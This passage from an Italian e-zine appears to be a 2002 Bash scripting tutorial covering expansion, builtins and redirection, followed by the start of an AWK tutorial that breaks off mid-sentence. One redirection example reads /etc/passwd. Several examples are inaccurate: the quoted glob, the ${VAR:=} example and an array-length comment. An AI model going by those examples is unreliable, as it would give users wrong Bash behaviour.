| # confusioni :-P |
| |
| Per indicare tutti gli elementi di un array: |
| |
| ${nome[*]} # oppure ${nome[@]} |
| |
| Come per i parametri posizionali, se ${nome[indice]} è circondato da |
| apici doppi, l' * restituirà un'unica parola con tutti gli elementi |
| dell'array, separati da uno spazio, mentre la @ restituirà una |
| parola per ogni elemento. |
| |
| Con |
| |
| ${#nome[*]} # anche qui è l'equivalente di ${nome[@]} |
| |
| ottengo il numero di elementi dell'array. Nel caso faccia |
| riferimento al solo nome dell'array senza specificare l'indice (come |
| se fosse una normale variabile), la shell sottintenderà l'indice 0. |
| |
| echo $arrei # stampa: Sono l'elemento numero uno! ;-) |
| |
| Per eliminare un elemento dell'array, oppure l'intero array, si |
| utilizza il comando UNSET. Per comandi come declare, local, e |
| readonly è possibile utilizzare un'opzione -a per specificare che si |
| sta utilizzando un array. |
| |
| |
| ESPANSIONE |
| |
| Come sopra detto, è possibile utilizzare notazioni "contratte" per |
| riferirsi a più parole. I tipi di sostituzione, nell'ordine, sono i |
| seguenti: |
| |
| - PARENTESI GRAFFE |
| |
| E' possibile, con la sintassi |
| |
| prefisso{parola_1,parola_2,parola_n}suffisso |
| |
| Specificare dei persorsi alternativi. Ad esempio con |
| |
| /usr/local/src/bash/{old,new,dist}/* |
| |
| ci si può riferire a tutti i files contenuti nelle dir |
| |
| /usr/local/src/bash/old |
| /usr/local/src/bash/new |
| /usr/local/src/bash/dist |
| |
| Si può anche nidificare più parentesi graffe. Nel caso invece ci si |
| voglia riferire ad esse per il loro significato letterale, vanno |
| protette con il carattere "\" (vedere QUOTING). Stessa cosa vale per |
| la virgola, ora usata come separatore. |
| |
| - TILDE |
| |
| Se in una stringa è presente una tilde non quotata (~ non preceduta |
| da \), allora essa sarà considerata equivalente a $HOME; se sono |
| presenti degli / dopo la tilde, la shell allora cercherà un percorso |
| all'interno della dir dell'utente (~/tmp == /home/domine/tmp), |
| altrimenti tutto ciò che seguirà la tilde sarà considerato come uno |
| user name (quindi ~root sarà uguale a /root, home di quell'utente). |
| Esistono inoltre le variabili ~+ e ~- equivalenti a $PWD e $OLDPWD. |
| |
| - PARAMETRI E VARIABILI |
| |
| L'espansione dei parametri e delle variabili viene introdotta dal |
| carattere $, seguito dal nome della variabile; le parentesi graffe, |
| opzionali, servono quando non vogliamo che del testo sia confuso col |
| nome della variabile; sono invece obbligatorie nel caso di parametri |
| posizionali a più cifre. |
| |
| Data la variabile |
| |
| testo="ba" |
| |
| se volessi aggiungere a quella variabile le lettere "sh" in modo da |
| formare un'altra parola, dovrei usare la sintassi |
| |
| echo ${testo}sh |
| |
| poichè se avessi indicato $testosh la shell avrebbe cercato invece |
| un'altra variabile, inesistente. |
| |
| Nel caso il nome della variabile sia preceduto da un !, la shell |
| intenderà che il valore in essa contenuto sarà uguale al nome di |
| un'altra variabile, che sarà a sua volta espansa nel valore che |
| contiene (espansione indiretta). Esempio: |
| |
| UNO="DUE" |
| DUE="TRE" |
| echo ${!UNO} # stamperà TRE |
| |
| I costrutti che ora seguiranno verificano la presenza della variabile |
| VAR e, se vuota o non dichiarata, eseguiranno diverse operazioni: |
| |
| ${VAR:-parola} Definisce una parola predefinita nel caso VAR non |
| esista |
| |
| Es. echo ${VAR:-blabla} # Stampa "blabla" |
| |
| |
| ${VAR:=parola} Uguale al precedente, ma inoltre assegna un valore |
| a VAR |
| |
| Es. echo ${VAR:-blabla}; echo $VAR # nel caso del secondo echo VAR |
| # ha un valore |
| |
| |
| ${VAR:?parola} Definisce il messaggio dello standard error |
| |
| Es. echo ${VAR:?Variabile non definita} |
| # bash: VAR: Variabile non definita |
| |
| |
| ${VAR:+parola} Cambia il valore della variabile nel caso questa NON |
| sia vuota |
| |
| Es. echo ${VAR:+parola} # Stamperà "". Se VAR avesse un valore, |
| # stamperebbe"parola" |
| |
| |
| ${VAR:offset:length} Stampa numero length caratteri a partire dal |
| carattere numero offset (length dev'essere |
| maggiore di 0, se è omesso verrà stampata la |
| variabile da offset fino alla fine). |
| |
| Es. PROVA="Vercingitorige"; echo ${PROVA:8:4} # Stampa "tori" |
| |
| |
| ${!prefisso*} Espande al nome delle variabili che cominciano per |
| prefisso. |
| |
| ${#VAR} Restituisce il numero di caratteri in una variabile |
| (oppure il numero di parametri posizionali, nel caso |
| di * e @). |
| |
| - COMANDI |
| |
| E' possibile interagire con i risultati di un qualsiasi comando con |
| la sintassi |
| |
| $(comando) |
| |
| oppure |
| |
| $`comando` # !! Attento !! Apici INVERSI (` == Alt Gr + ') |
| |
| Es. FILES=$(ls -l *) # Assegna a FILES i file contenuti nella dir |
| # corrente |
| |
| cp $(find ~ -name "*.txt") ~/txt # Copia tutti i file txt |
| # in una dir |
| |
| I comandi possono essere annidati (nel caso degli apici, vanno |
| protetti con \) |
| |
| - ARITMETICA |
| |
| Con la sintassi |
| |
| $((espressione)) |
| |
| la shell sostituirà ad una espressione il suo risultato. |
| |
| Es. NUM=3 ; echo "$(((2+2)*$NUM))" # Stamperà 12 |
| |
| Anche le espressioni possono essere annidate. Per quanto riguarda gli |
| operatori, valgono tutti quelli degli altri linguaggi di |
| programmazione (li avete anche studiati alle elementari... +, -, *, |
| / !!!) |
| |
| - SUDDIVISIONE DELLE PAROLE |
| |
| La shell cerca innanzitutto di suddividere in parole ciò che è |
| contenuto in apici doppi (") |
| |
| Es. echo "b*" # Stampa tutti i file che cominciano per "b" |
| |
| Le parole vengono suddivise tra loro dal primo carattere della |
| variabile IFS (lo spazio). Nel caso seguente |
| |
| PROVA="b*" ; echo "$PROVA" |
| |
| verrà stampato però il contenuto letterale di $PROVA ("b*"). |
| |
| - PERCORSO (PATHNAME) |
| |
| Alla presenza dei metacaratteri *,?,[] la shell sostituisce un |
| elenco ordinato alfabeticamente dei riscontri verificati (vedi ls *) |
| |
| * Vale per qualsiasi stringa, compresa quella vuota |
| ? Vale per qualunque carattere singolo |
| [abcn] Vale per i caratteri all'interno delle parentesi |
| (soltanto a,b,c ed n quindi) |
| [a-z] Vale per l'intervallo di caratteri compreso fra quelli |
| specificati (quindi le lettere dalla a alla z) |
| |
| Utilizzando il punto esclamativo subito dopo la [, si inverte il |
| significato del contenuto delle parentesi. Nel caso si voglia |
| comprendere negli intervalli il - e le parentesi [ ], questi simboli |
| vanno specificati all'inizio o alla fine del gruppo di caratteri. |
| |
| |
| COMANDI INTERNI (BUILTINS) |
| |
| Ecco una lista dei principali builtin, comandi appartenenti alla |
| shell e non a binari esterni. (per saperne di più: rtfm! :-P) |
| |
| - . (SOURCE) |
| |
| . file [argomenti] |
| source file [argomenti] |
| |
| Esegue i comandi contenuti all'interno di FILE. Se non viene |
| specificato il percorso (assenza di /), la shell cerca il file |
| all'interno delle dir indicate in $PATH. Gli argomenti passati |
| tramite source diventano i parametri posizionali del file eseguito. |
| Restituisce lo stato dell'ultimo comando eseguito all'interno del |
| file, oppure falso se il file non esiste. |
| |
| - ALIA
S |
| |
| alias [-p] [nome[=valore] ...] |
| |
| Permette di definire delle scorciatoie per richiamare comandi più |
| lunghi. Il solo "alias" oppure "alias -p" stampano sullo schermo la |
| lista degli alias definiti. |
| |
| alias ls='ls -al' # un classico :-) |
| |
| - BG |
| |
| bg [nome_del_job] |
| |
| Esegue un comando in background (ossia la shell non attende il |
| termine della sua esecuzione ma mostra ancora il prompt mentre il |
| comando esegue delle operazioni). L'equivalente della sintassi |
| nome_comando& . Se il job non è specificato, viene messo in |
| background il processo attuale. |
| |
| - BREAK |
| |
| break [n] |
| |
| Esce da un loop for, while, until, o select. Si può specificare il |
| numero di livelli da interrompere con la variabile n (nel caso di |
| cicli annidati). La variabile n deve essere maggiore o uguale a 1. |
| Restituisce 0 a meno che non c'è un ciclo da interrompere. |
| |
| - BUILTIN |
| |
| builtin shell-builtin [argomenti] |
| |
| Esegue il builtin specificato, passandogli degli eventuali argomenti. |
| Restituisce il valore del builtin. E' utile quando si dà ad una |
| funzione un nome appartenente ad un comando interno, e si vuole |
| utilizzare comunque quel comando. |
| |
| - CD |
| |
| cd [-LP] [dir] |
| |
| C'è bisogno che ve lo spiego? :-) |
| Cmq le eventuali opzioni P e L forzano il comando a seguire la |
| struttura fisica della directory e non link simbolici, e viceversa. |
| Il valore predefinito di DIR è $HOME, mentre "cd -" carica la dir |
| $OLDPWD . |
| |
| - COMMAND |
| |
| command [-pVv] comando [argomenti] |
| |
| Esegue il comando con gli argomenti specificati; il comando deve |
| essere interno alla shell o presente in un dei percorsi di $PATH, |
| quindi evita che vengano eseguite funzioni dichiarate dallo script. |
| L'opzione -p fa sì che venga utilizzata una serie di percorsi di |
| ricerca predefiniti al posto di $PATH in modo da garantire il |
| riscontro di tutte le utilities standard. Le opzioni -V e -v |
| producono delle informazioni inerenti il comando usato. Se una di |
| queste due opzioni è specificata, nel caso il pogramma sia stato |
| trovato command restituirà 0, altrimenti 1. Se non sono state |
| specificate, nel caso il programma non sia stato trovato, |
| restituisce 127, altrimenti il valore dell'esecuzione del comando. |
| |
| - CONTINUE |
| |
| continue [n] |
| |
| Riprende un ciclo interrotto di tipo for, while, until, o select |
| dall'ultima iterazione eseguita. Tramite n (n>=1), si può ordinare |
| di riprendere il ciclo dall'n-esima iterazione. Nel caso n sia |
| superiore al numero di cicli previsto, continue riprenderà |
| dall'ultimo. |
| |
| - DECLARE |
| |
| declare [-afFirx] [-p] [nome[=valore]] |
| typeset [-afFirx] [-p] [nome[=valore]] |
| |
| Declare è usato per dichiare variabili e assegnargli valori o |
| attributi. Il solo "declare", o "declare -p" mostrano le variabili |
| attive. L'opzione "-F" mostra sullo schermo soltanto i nomi e gli |
| attributi delle funzioni definite, mentre "-f" mostra per intero |
| queste funzioni. Infine: |
| |
| -a Specifica che si tratta di un array |
| -i La variabile è trattata come un numero intero per cui, |
| quando la variabile viene assegnata, viene valutata |
| aritmeticamente. |
| -r Rende una variabile soltanto leggibile, quindi non |
| modificabile nè cancellabile. |
| -x Rende la variabile valida anche per gli altri script |
| (vedi EXPORT) |
| |
| Sostituendo con un "+" il "-", l'opzione viene disattivata (es. +r |
| rende modificabile una variabile) (PS: +a non può distruggere un |
| array). Se utilizzato all'interno di una funzione, declare svolge lo |
| stesso ruolo di local. |
| |
| - ECHO |
| |
| echo [-neE] [argomenti] |
| |
| Stampa gli argomenti, separati da spazi e seguiti da una newline. |
| Restituisce sempre 0. Se "-n" è specificato, la newline finale non |
| viene stampata. Se "-e" viene specificata, vengono abilitati i |
| caratteri di escape sottostanti, mentre "-E" la disabilita, anche |
| nei sistemi in cui è abilitata di default. |
| |
| \a avviso acustico (bell) |
| \b backspace |
| \c impedisce l'inserimento dinewline a fine stringa |
| \e un carattere di escape |
| \f form feed |
| \n nuova linea (newline) |
| \r ritorno a capo (carriage return) |
| \t tabulazione orizzontale |
| \v tabulazione verticale |
| \\ barra obliqua (backslash) |
| \nnn il carattere il cui codice ASCII è il valore ottale di n |
| (ripetuto 3 volte) |
| \xnnn il carattere il cui codice ASCII è il valore esadecimale di n |
| (ripetuto 3 volte) |
| |
| - ENABLE |
| |
| enable [-adnps] [-f file] [nome ...] |
| |
| Abilita o disabilita le shell-builtins. Permette ad un programma |
| avente lo stesso nome di una builtin di essere eseguito senza |
| doverne specificare l'intero percorso. Se "-n" viene specificato, il |
| comando NOME viene disabilitato, altrimenti viene abilitato. Per |
| mostrare le builtin attive si usa "enable" o "enable -p", per quelle |
| disattive "enable -n", per entrambe "enable -a". Con "-f" viene |
| caricato come builtin un eseguibile specificato dal percorso FILE; |
| "-d" invece rimuove una builtin dichiarata con "-f". |
| |
| - EVAL |
| |
| eval [argomenti] |
| |
| Gli argomenti indicati vengono concatenati ed eseguiti come un |
| comando unico. Eval restituirà il valore di ritorno di quel comando. |
| |
| - EXEC |
| |
| exec [-l] [-a nome] [comando [argomenti]] |
| |
| Il comando specificato (con relativi argomenti) viene eseguito e la |
| shell terminata, impedendo il formarsi di nuovi processi. Se viene |
| usato "-l", un trattino viene aggiunto all'argomento numero 0; con |
| "-a", la shell passa NOME come argomento numero zero al programma. |
| |
| - EXIT |
| |
| exit [n] |
| |
| Termina il processo della shell restituendo n. |
| |
| - EXPORT |
| |
| export [-fn] [nome[=parola]] ... |
| export -p |
| |
| Le variabili, gli array o le funzioni (con "-f") specificate vengono |
| rese disponibili per l' ambiente di shell dopo il termine dello |
| script. L'opzione "-n" fa sì che le variabili specificate non |
| possano essere esportate. Se non vengono specificate opzioni oppure |
| se viene utilizzata "-p", viene stampato ciò che è stato esportato. |
| |
| - FG |
| |
| fg [nome_del_job] |
| |
| Pone il job specificato (o l'ultimo processo in background, se non |
| viene specificato) in foreground. |
| |
| - GETOPTS |
| |
| getopts stringa_opzioni nome_variabile [argomenti] |
| |
| Avete presente quegli eseguibili che richiedono degli argomenti per |
| funzionare ? Per dare all'utente la possibilità di indicare allo |
| script dei dati in stile POSIX, getopts viene usato per il parsing |
| dei parametri posizionali. Dato ad esempio il comando |
| |
| $ ./nomescript.sh -h localhost -t 10 |
| |
| sappiamo che la stringa "-h" verrà contenuta in $1, "localhost" in |
| $2 e così via... l'utilizzo di questi argomenti potrebbe diventare |
| complicato, specie visto che l'utente potrebbe indicarli in un |
| ordine diverso da quello previsto. |
| |
| Esaminiamo questo script: |
| |
| #!/bin/bash |
| getopts abc OPT |
| echo "Hai indicato l'argomento $OPT !" |
| |
| provando a lanciarlo si ottiene |
| |
| $ ./script.sh -a |
| Hai indicato l'argomento a ! |
| |
| Getopts ha effettuato il parsing di $@ (eventualmente si può |
| indicare un'altra stringa come terzo argomento di getopts), e nel |
| momento in cui ha verificato l'esistenza di una delle opzioni attese |
| ("-a", "-b" e "-c", indicate dall' "abc" primo argomento di getopts) |
| ha assegnato ad $OPT il nome di questa opzione. |
| |
| Se eseguiamo |
| |
| $ ./script.sh -z |
| ./script.sh: illegal option -- z |
| Hai indicato l'argomento ? ! |
| |
| il parametro "-z" non viene riconosciuto e viene segnalato un |
| errore. E' possibile catturare l'errore verificando che il valore |
| restituito da getopts non sia diverso da zero. |
| |
| #!/bin/bash |
| |
| OPTIND=1 |
| |
| echo $OPTIND |
| getopts a:bc OPT |
| echo "Hai indicato il parametro $OPT = $OPTARG !" |
| |
| echo $OPTIND |
| getopts a:bc OPT |
| echo "Hai indicato il parametro $OPT = $OPTARG !" |
| |
| |
| $ ./script.sh -b -a 213 |
| 1 |
| Hai indicato il parametro b = ! |
| 2 |
| Hai indicato il parametro a = 213 ! |
| |
| |
| Il suddetto script esegue una prima volta getopts, legge il primo |
| parametro indicato, "-b", assegna a $OPT quel valore; poi esegue di |
| nuovo un'istruzione getopts, stavolta leggendo il parametro "-a", e |
| assegnando a $OPT "-a" ed a $OPTARG il valore "213". |
| |
| Come mai, pur se le istruzioni sono identiche, getopts cattura due |
| parametri differenti? Il fatto si spiega perchè getopts legge il |
| parametro indicato dalla variabile $OPTIND: visto che essa è |
| inizialmente settata ad 1 (ricordarsi sempre di farlo), getopts |
| legge "-b", e aumenta $OPTIND di una unità; dopodichè, getopts legge |
| il secondo argomento (poichè $OPTIND ora equivale a 2) e ne stampa |
| nome e valore. |
| |
| Notare che se eseguo |
| |
| $ ./script.sh -a 213 -b |
| 1 |
| Hai indicato il parametro a = 213 ! |
| 3 |
| Hai indicato il parametro b = ! |
| |
| getopts aumenta di 2 unità il valore di $OPTIND poichè il parametro |
| "-a" contiene un argomento, "213"). E' da notare anche che nel |
| momento in cui è stato richiamato getopts, la "a" del suo primo |
| argomento era seguito da ":" ("getopts a:bc OPT"): i due punti |
| indicano all'interprete che il parametro "-a" debba essere |
| obbligatoriamente accompagnato da un argomento. Al contrario, se |
| fossero stati omessi i due punti, l'argomento passato dopo "-a" |
| sarebbe stato semplicemente ignorato, e $OPTARG sarebbe rimasta |
| vuota. |
| |
| Ecco un piccolo script che può mostrare un potenziale utilizzo di |
| getopts: |
| |
| #!/bin/bash |
| |
| OPTIND=1 |
| |
| ERRMSG="ERRORE! Utilizzo: $0 [-a valore] [-b valore] [-c]"; |
| |
| if [ $# = 0 ] |
| then |
| echo $ERRMSG; |
| exit 1; |
| fi |
| |
| while getopts a:b:c OPT |
| do |
| case $OPT in |
| a) A=$OPTARG;; |
| b) B=$OPTARG;; |
| c) C=1;; |
| *) echo $ERRMSG;; |
| esac |
| done |
| |
| if [ $A ] |
| then |
| echo "-a == $A"; |
| fi |
| |
| if [ $B ] |
| then |
| echo "-b == $B"; |
| fi |
| |
| if [ $C ] |
| then |
| echo "-c settato."; |
| else |
| echo "-c non settato."; |
| fi |
| |
| |
| lanciatelo e verificate. |
| |
| - HASH |
| |
| hash [-r] [-p file] [nome] |
| |
| Per ogni comando NOME viene ricercato il percorso in $PATH e viene |
| memorizzato.Il semplice comando "hash" indica tutti i percorsi |
| memorizzati, mentre l'opzione "-r" li cancella. Invece "-p" |
| sostituisce il percorso di NOME col percorso FILE. |
| |
| - HELP |
| |
| help [-s] [percorso] |
| |
| Mostra delle informazioni sul programma specificato. Con "-s" |
| visualizza la sintassi. |
| |
| |
| - KILL |
| |
| kill [-s segnale | -n numero_segnale | -segnale] [pid | nome_job] ... |
| kill -l [numero_segnale | nome_segnale] |
| |
| Manda un segnale (con "-s"; è possibile indicarne anche il numero |
| con "-n") ad un job specificandone il nome o il pid. Con "-l", dato |
| il numero del segnale restituisce il nome, e viceversa. Se il |
| segnale non viene indicato, è sottinteso SIGTERM. |
| |
| - LOCAL |
| |
| local [opzione] [nome[=valore] ...] |
| |
| Dichiara ed assegna un valore alle variabili indicate. Queste |
| variabili avranno visibilità soltanto all'interno della funzione in |
| cui sono state dichiarate. Valgono per local le stesse opzioni di |
| declare. Se non viene utilizzato all'interno di una funzione, |
| restituisce un errore. |
| |
| - PWD |
| |
| pwd [-LP] |
| |
| Restituisce il percorso della directory corrente. Le opzioni servono |
| per far visualizzare rispettivamente link simbolici e collegamenti |
| fisici. |
| |
| - READ |
| |
| read [-rs] [-t timeout] [-a nome_array] [-p prompt] [-n nchars] [-d |
| delim] [name ...] |
| |
| Legge una linea dallo standard input e assegna la prima parola alla |
| prima variabile, la seconda parola alla seconda variabile e così |
| via. Se non vengono indicate sufficienti variabili le parole |
| rimanenti sono assegnate all'ultima. Se non viene specificata alcuna |
| variabile, la riga letta è contenuta da $REPLY. |
| |
| -a Assegna le parole all'array specificato, indicizzandole a |
| partire da 0 |
| -d Il carattere con cui viene terminata la linea (predefinito |
| <newline>) |
| -n Read completa la linea dopo NCHARS caratteri invece di |
| aspettare la pressione di invio. |
| -p Permette di personalizzare il prompt |
| -r Backslash (\) non viene considerato come un carattere di |
| escape |
| -s In modalità silenziosa, i caratteri digitati non sono |
| mostrati |
| -t Attende l'input dell'utente per TIMEOUT secondi |
| |
| - RETURN |
| |
| return [n] |
| |
| Termina una funzione restituendo n (se n è omesso, restituisce lo |
| stato dell'ultima istruzione). |
| |
| - SHIFT |
| |
| shift [n] |
| |
| I parametri posizionalida n+1 in poi diventano $1, $2, $3 e così via. |
| |
| Es. echo $* # mostra gli ipotetici argomenti "a b c d e f" |
| shift 2 # sposta "c" alla posizione $1, "d" a $2 e così via |
| echo $* # stampa "c d e f" |
| |
| La variabile $0 non è coinvolta. Nel caso in cui n sia maggiore di |
| $# non accade nulla. Se n non è definito equivale ad 1. |
| |
| - TEST |
| |
| test espressione |
| [ espressione ] |
| |
| Restituisce 0 o 1 a seconda della valutazione di ESPRESSIONE (vedi |
| ESPRESSIONI CONDIZIONALI). |
| |
| - TYPE |
| |
| type [-atp] nome [nome ...] |
| |
| Indica, se utilizzato senza argomenti, come NOME viene interpretato |
| se usato come un comando. Con l'opzione -t, type stampa una parola |
| tra alias, keyword, function, builtin, o file se NOME è, |
| rispettivamente, alias, termine riservato della shell, funzione, |
| builtin, o file del disco. Se viene utilizzata "-p" mostra il |
| percorso del file se esso fa parte dei comandi eseguibili. L'opzione |
| "-a" stampa tutte le info disponibili di NOME. |
| |
| - UNALIAS |
| |
| unalias [-a] [nome ...] |
| |
| Rimuove l'alias specificato da NOME. Con "-a" vengono rimossi tutti |
| gli alias. |
| |
| - UNSET |
| |
| unset [-fv] [nome ...] |
| |
| Vengono rimosse le variabili specificate ("-v" è sottinteso). |
| Utilizzando "-f" si fa riferimento a funzioni. Se alcune della |
| variabili di shell quali RANDOM, SECONDS, LINENO vengono eliminate, |
| perdono le loro proprietà, anche se vengono redichiarate. |
| |
| |
| REDIREZIONI |
| |
| Gli input e gli output dei programmi possono essere redirezionati |
| tramite degli appositi operatori. Vengono utilizzati inoltre dei |
| canali detti "descrittori di file": |
| |
| 0 standard input (la tastiera) |
| 1 standard output (il monitor) |
| 2 standard error (il monitor) |
| |
| Questi canali predefiniti si occupano dell'interazione con l'utente, |
| ed è grazie ad essi che l'utente fornisce parametri e riceve dei |
| risultati dai vari file. |
| |
| - REDIREZIONE DELL'INPUT |
| |
| [n]<parola |
| |
| Apre un file, indicato dall'espansione di PAROLA, in modalità |
| lettura sullo standard input, o al descritto specificato da n. Da |
| qui può poi essere utilizzato da altri programmi. |
| |
| Es. cat < /etc/passwd # < equivale a 0< (la n si può sottintendere) |
| |
| - REDIREZIONE DELL'OUTPUT |
| |
| [n]>parola |
| |
| Viene aperto, come prima, un file, ma stavolta in modalità |
| scrittura, e su di esso sono scritti i dati provenienti dallo |
| standard output (o dal descrittore specificato da n). E'così |
| possibile copiare su un file i risultati che un programma stampa |
| sullo schermo. |
| |
| Es. ls -l > ls.txt # > equivale a 1> |
| ls -l fileazzo 2> ls.txt # se il file "fileazzo" non esiste, |
| # il messaggio di errore va in ls.txt |
| |
| Se il file da scriver non esiste viene creato, altrimenti viene |
| cancellato e sovrascritto. |
| |
| - REDIREZIONE DELL'OUTPUT IN AGGIUNTA |
| |
| [n]>>parola |
| |
| Anche questo operatore apre (o crea) un file in modalità scrivibile, |
| ma non ne cancella il contenuto nel caso esso contenga dati, ma |
| aggiunge alla fine le righe indicategli. |
| |
| - REDIREZIONE DELLO STANDARD OUTPUT E STANDARD ERROR |
| |
| E' possibile ricondurre contemporaneamente lo standard output e lo |
| standard error verso un unico file. |
| |
| &>word # Questa notazione è quella preferibile |
| >&word |
| |
| - "HERE DOCUMENTS" |
| |
| <<[-]parola |
| here-document |
| delimitatore |
| |
| Con questa sintassi, viene indicato alla shell di leggere input dal |
| codice corrente (oppure dal prompt) fino a quando non viene |
| riscontrata una linea contenente PAROLA (che verrà quindi usata come |
| DELIMITATORE). Nel caso PAROLA sia quotata, nessuna riga |
| nell'"here-document" verrà espansa, e l'unquoting di PAROLA finirà |
| nel nuovo DELIMITATORE. Nel caso si indicato il "-", tutte le |
| tabulazioni iniziali nelle righe dell'"here-document" e del |
| delimitatore vengono eliminate, dando quindi la possibilità di |
| indentare il codice. |
| |
| Per esempio, prova a digitare nell'ordine i seguenti comandi: |
| |
| cat > spesa.txt << EOF |
| mozzarella |
| mortadella |
| fodero (== lo sfilatino :-]) |
| crocca cola |
| EOF |
| |
| Che è stato :-P ? Col primo comando ho prima creato il file vuoto |
| SPESA.TXT, poi ho utilizzato l'HERE DOCUMENTS indicando EOF (End Of |
| File) come parola per terminare la scrittura di quel file; le righe |
| successive, seguite dalla pressione di invio, vengono |
| rispettivamente scritte su SPESA.TXT, dopodichè quando digito EOF |
| ritorna il prompt di shell... andando a fare "cat spesa.txt" |
| ritroverò quello che ho digitato lì dentro :) In pratica, ho usato |
| la shell come editor testuale (ma è utilissimo inserire procedure |
| del genere in script vari). |
| |
| - DUPLICAZIONE DEI DESCRITTORI |
| |
| [n]<&parola |
| [n]>&parola |
| |
| Con il primo si ottienela duplicazione dell'input, col secondo quella |
| dell'output; è quindi possibile abbinare ad un unico descrittore dati |
| provenienti da due sorgenti. |
| |
| Es. find / -name *.txt -print > risultato.log 2>&1 |
| |
| Con questo comando tutti i riscontri positivi di find vanno a finire |
| nel file risultato.log, mentre gli avvisi di errore (per esempio a |
| causa di directory precluse all'utente) vengono contemporaneamente |
| ridirezionati verso lo standard output; in pratica, standard output |
| ed error vengono uniti (magiaaa :]) |
| |
| - APERTURA DI DESCRITTORI IN LETTURA E SCRITTURA |
| |
| [n]<>parola |
| |
| In questo modo il file indicato dall'espansione di PAROLA viene |
| aperto in lettura e scrittura sul descrittore n (0 se non è |
| specificato). |
| |
| |
| THE END (?) |
| |
| Ebbene, credo di aver spiegato tutto il minimo (?!) necessario per |
| comprendere uno script shell (magari potrete decriptare quei famosi |
| file ./configure così misteriosi :-) ). |
| |
| Naturalmente le informazioni non finiscono qui... se volete avere |
| l'onniscienza a riguardo guardatevi "man bash" :-PPP |
| |
| Byez |
| |
| |
| by Domine |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| IRC: Domine @ IRCNet, AzzurraNet |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #07 - 01/08/2002 |
| AWK [Domine] 0x0A/0x19 |
+--------------------------------------------------------------------------+
| AWK - 31/08/2001 - by Domine |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| |
| |
| |
| AWK è un linguaggio di scripting orientato alla ricerca e |
| rielaborazione di stringhe di testo. L'eseguibile AWK (/usr/bin/awk |
| - per trovarlo: which awk) legge le stringhe, raccolte in un file |
| oppure indicate sulla linea di comando, e per ognuna di queste |
| righe, se soddisfano delle condizioni, vengono effettuate delle |
| operazioni. Solitamente si utilizza AWK per leggere da un file |
| sorgente e produrne una copia modificata, senza alterare |
| l'originale; è utile però all'interno di pipelines, in cui l'output |
| di un programma viene prima raffinato da AWK e in seguito viene |
| passato ad un nuovo programma. Il tutto con un esiguo numero di |
| righe :-) |
| |
| In questo testo farò riferimento a GAWK (= GNU AWK), la versione di |
| AWK distribuita coi sistemi linux ed avente delle caratteristiche |
| aggiuntive rispetto a quelle dello standard POSIX. |
| |
| PS: Il nome AWK deriva dalle iniziali dei 3 autori: Aho, Weinberger, |
| Kernighan. |
| |
| |
| |
| ToC: |
| |
| 1) FUNZIONAMENTO GENERALE E TIPI DI PATTERN |
| 2) ESPRESSIONI REGOLARI |
| 3) VARIABILI PREDEFINITE |
| 4) STRUTTURE DI CONTROLLO |
| 5) FUNZIONI INTERNE (BUILT-IN) |
| 6) FUNZIONI DEFINITE DALL'UTENTE |
| 7) OPERATORI |
| 8) ARRAY |
| |
| |
| |
| FUNZIONAMENTO GENERALE E TIPI DI PATTERN |
| |
| La funzione base di AWK, come sopradetto, è di cercare all'interno |
| di files delle linee che contengono determimati percorsi (pattern) e |
| di eseguire su di esse delle istruzioni. |
| |
| Uno script awk è composto da REGOLE formattate così |
| |
| pattern { istruzioni } |
| pattern { istruzioni } |
| ... |
| |
| Ogni linea del testo (detta record) viene passata ad ognuna delle |
| regole indicate, e se avviene il riscontro del pattern vengono |
| eventualmente eseguite le righe fra le { } . Dopodichè, la linea |
| successiva viene fatta passare al vaglio di tutte le regole, e così |
| via fino alla fine del file. |
| |
| Un programma AWK è per questo detto DATA-DRIVEN (ossia viene prima |
| detto quale porzione di testo rielaborare, poi i comandi da |
| eseguire), al contrario di altri linguaggi detti invece PROCEDURALI |
| (vengono indicate una alla volta le istruzioni da effettuare). |
| |
| E' possibile utilizzare AWK sia dal prompt di shell (se le regole |
| sono poche) |
| |
| awk 'programma' file_input1 file_input2 |
| |
| sia attraverso un file eseguibile contenente le regole e questa |
| istruzione iniziale: |
| |
| #!/usr/bin/awk -f |
| |
| Prima di spiegare come sono strutturate le regole, ecco un semplice |
| esempio |
| |
| awk '/parolaccia/ { print $0 }' fileozzo.txt |
| |
| Il seguente comando cerca, all'interno di fileozzo.txt, le righe |
| contenenti il termine "parolaccia" (le / non vi ricordano le RegEx |
| di cui vi ho già parlato in un txt? leggetelo! :] ). Il comando |
| "print $0" provvede a stampare sullo schermo queste righe. Un po' |
| come farebbe il programma grep. |
| |
| PS: Nel caso di "print $0", è possibile omettere anche "$0". |
| PPS: E' possibile utilizzare la classica funzione printf()... see: |
| man printf |
| |
| Nel definire le regole è possibile omettere i pattern, oppure le |
| istruzioni da eseguire (NON si possono omettere entrambi però :-P). |
| Se avessi omesso /parolaccia/ , AWK avrebbe passato al comando TUTTE |
| le righe del file di testo. |
| |
| Se invece avessi omesso { print $0 } l'interprete avrebbe stampato, |
| come all'inizio, le righe contenenti quel determinato termine, |
| poichè print è l'istruzione predefinita di questo linguaggio. |
| |
| Ecco un altro esempiuccio per spiegare il prossimo concetto: |
| |
| ls -la | awk '$3 == "domine" { print $9 " " $5 }' |
| |
| Il seguente comando esegue prima un ls della directory corrente, |
| dopodichè passa ad AWK il risultato, come se fosse un normale file |
| di testo. Ogni riga dell'output di presenta all'inizio simile a |
| questa: |
| |
| -rw-rw-r-- 1 domine domine 2941 ago 31 19:31 awk.txt |
| |
| Ma che cosa compie AWK? Innanzitutto, il record (la riga!!) viene |
| suddiviso in più campi in base ad un determinato carattere (ossia lo |
| spazio); AWK leggerà questa riga come se appartenesse ad una |
| tabella, di cui ogni parola ne rappresenta una colonna (non è |
| determinante il numero di spazi tra una parola è l'altra, per cui è |
| possibile usare anche le tabulazioni). Ogni campo viene assegnato ad |
| una variabile, a partire da $1 in poi, per cui si avrà |
| |
| $1 $2 $3 $4 $5 $6 $7 $8 $9 |
| -rw-rw-r-- 1 domine domine 2941 ago 31 19:31 awk.txt |
| |
| Quindi, al momento in cui detteremo le regole, potremo far |
| riferimento sia alla stringa intera (contenuta da $0) sia ad ognuno |
| dei singoli campi. Ritornando all'esempio precedente, AWK prima |
| confronta il 3o campo con la parola "domine", dopodichè, se |
| combaciano, vengono stampati il 9o e il 5o campo di ogni riga. In |
| pratica, stampa nome e dimensione di tutti i file appartenenti |
| all'utente "domine". Lo spazio (" ") viene utilizzato da print come |
